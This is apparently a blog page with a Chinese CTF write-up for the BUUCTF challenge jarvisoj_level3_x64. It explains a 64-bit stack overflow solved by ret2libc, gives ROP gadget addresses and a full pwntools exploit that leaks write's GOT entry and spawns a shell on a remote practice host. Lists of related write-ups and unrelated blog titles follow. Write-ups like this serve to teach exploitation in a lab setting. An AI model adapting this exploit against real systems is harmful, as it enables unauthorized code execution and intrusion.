jarvisoj_level3_x64

附件

步骤:

  1. 例行检查,64位程序,开启了nx保护
  2. 试运行一下程序,看看大概的情况
  3. 64位ida载入,习惯性的检索字符串,没有发现可以直接利用的system,估计使用ret2libc的方法
  4. 从main函数开始看程序
  5. function()函数

    输入点buf明显的溢出漏洞,read之前已经调用过一个write函数了,可以利用它来泄露libc版本

利用过程

  1. 泄露libc版本
    64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
    当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
    我们这边要利用write函数去泄露libc版本
    write函数的原型,它有三个参数,所以我们这边需要用到三个寄存器去传参
  1. ssize_t write(int fd,const void*buf,size_t count);
  2. 参数说明:
  3. fd:是文件描述符(write所对应的是写,即就是1
  4. buf:通常是一个字符串,需要写入的字符串
  5. count:是每次写入的字节数

利用ROPgadget找一下设置寄存器的指令


rdi=0x4006b3
rsi_r15=0x4006b1

  1. rdi=0x4006b3
  2. rsi_r15=0x4006b1
  3. write_plt=elf.plt['write']
  4. write_got=elf.got['write']
  5. main=0x40061A
  6. payload='a'*(0x80+8)+p64(rdi)+p64(1) #rdi寄存器设置write函数的第一个参数为‘1’
  7. payload+=p64(rsi_r15)+p64(write_got)+p64(4) #rsi寄存器设置write函数的第二个参数为write_got表的地址,r15寄存器设置write函数的第三个参数为8
  8. payload+=p64(write_plt) #去调用write函数
  9. payload+=p64(main) #控制程序流,回到main函数,继续控制
  10. r.sendlineafter('Input:',payload)
  11. write_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
  1. 计算出程序里的system和bin/sh的真实地址
  1. libc=LibcSearcher('write',write_addr)
  2. libc_base=write_addr-libc.dump('write')
  3. system_addr=libc_base+libc.dump('system')
  4. binsh=libc_base+libc.dump('str_bin_sh')
  1. 构造payload,获取shell
  1. payload='a'*(0x80+8)+p64(rdi)+p64(binsh)+p64(system_addr)

完整exp:

  1. from pwn import *
  2. from LibcSearcher import *
  3. r=remote('node3.buuoj.cn',29886)
  4. context(os = "linux", arch = "amd64", log_level= "debug")
  5. elf=ELF('./level3_x64')
  6. #libc=ELF('./libc-2.19.so')
  7. write_plt=elf.plt['write']
  8. write_got=elf.got['write']
  9. main=0x40061A
  10. rdi=0x4006b3
  11. rsi_r15=0x4006b1
  12. payload='a'*(0x80+8)+p64(rdi)+p64(1)
  13. payload+=p64(rsi_r15)+p64(write_got)+p64(8)
  14. payload+=p64(write_plt)
  15. payload+=p64(main)
  16. r.sendlineafter('Input:',payload)
  17. write_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
  18. #write_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
  19. print hex(write_addr)
  20. libc=LibcSearcher('write',write_addr)
  21. libc_base=write_addr-libc.dump('write')
  22. system_addr=libc_base+libc.dump('system')
  23. binsh=libc_base+libc.dump('str_bin_sh')
  24. payload='a'*(0x80+8)+p64(rdi)+p64(binsh)+p64(system_addr)
  25. r.sendlineafter('Input:',payload)
  26. r.interactive()

[BUUCTF]PWN——jarvisoj_level3_x64的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

随机推荐

  1. [luogu5564]Say Goodbye

    两树相同的定义与题中相同,并定义两树完全相同当且仅当在不允许基环旋转的条件下相同 枚举基环的长度$l$,根据置换群的理论,答案即$\frac{1}{l}\sum_{i=1}^{l}f(i)$(其中$f ...

  2. [hdu6391]Lord Li's problem

    首先发现结果与需要改变的具体位置无关,只和需要改变的位置的个数有关,因此设f[i][j]表示选取了i个数字异或结果有j个1,只要分析接下来选择的数和这j个1有几个重合即可: 1. 三个数字全部重合,即 ...

  3. [bzoj1072]排列

    考虑用状压dp枚举排列,即f[i][j]表示当前状态为i,余数为j的方案数,考虑在末尾新增一个字符来转移即可,注意最后答案要除以排列组合 1 #include<bits/stdc++.h> ...

  4. [bzoj1635]最高的牛

    初始如果没有限制,很显然每一头牛高度都是h当只有一个限制,让h[a]到h[b]的高度都减1即可容易发现两个限制不会相交(否则必然矛盾),只会包含或相离,因此没有影响,直接差分/线段树即可(注意:1.不 ...

  5. 一文理解Java-class字节码文件

    前言 java语言在其刚诞生之际喊出的口号--"Write Once,Run Anywhere",正是基于字节码(byte code)而存在的,java能够做到平台无关性,得力于这 ...

  6. 收集的常用的CTF学习资源网站

    http://www.sec-wiki.com/skill/        安全技能学习路线(迷茫就看它) https://wiki.x10sec.org/       介绍了CTF各个方向的基础知识 ...

  7. 如何在C#中使用Google.Protobuf工具

    protobuf是一个语言无关.平台无关的序列化协议,由谷歌开源提供.再加上其高性能.存储占用更小等特点,在云原生的应用中越来越广泛. 在C#中主要有两种方法来使用protobuf协议,nuget包分 ...

  8. emoji表情等特殊字符处理和存储的两个方案

    方案1.改数据库配置 使之支持emoji表情等特殊字符,小公司或者个人开发还好,大公司用此方案代价较大. 以mysql为例,改配置方法参考:https://blog.csdn.net/u0107373 ...

  9. idea解决Command line is too long. Shorten command line for ServiceStarter or also for Application报错

    找到 .idea\workspace.xml: 找到<component name="PropertiesComponent">,在里面添加<property n ...

  10. [源码解析] PyTorch 分布式(12) ----- DistributedDataParallel 之 前向传播

    [源码解析] PyTorch 分布式(12) ----- DistributedDataParallel 之 前向传播 目录 [源码解析] PyTorch 分布式(12) ----- Distribu ...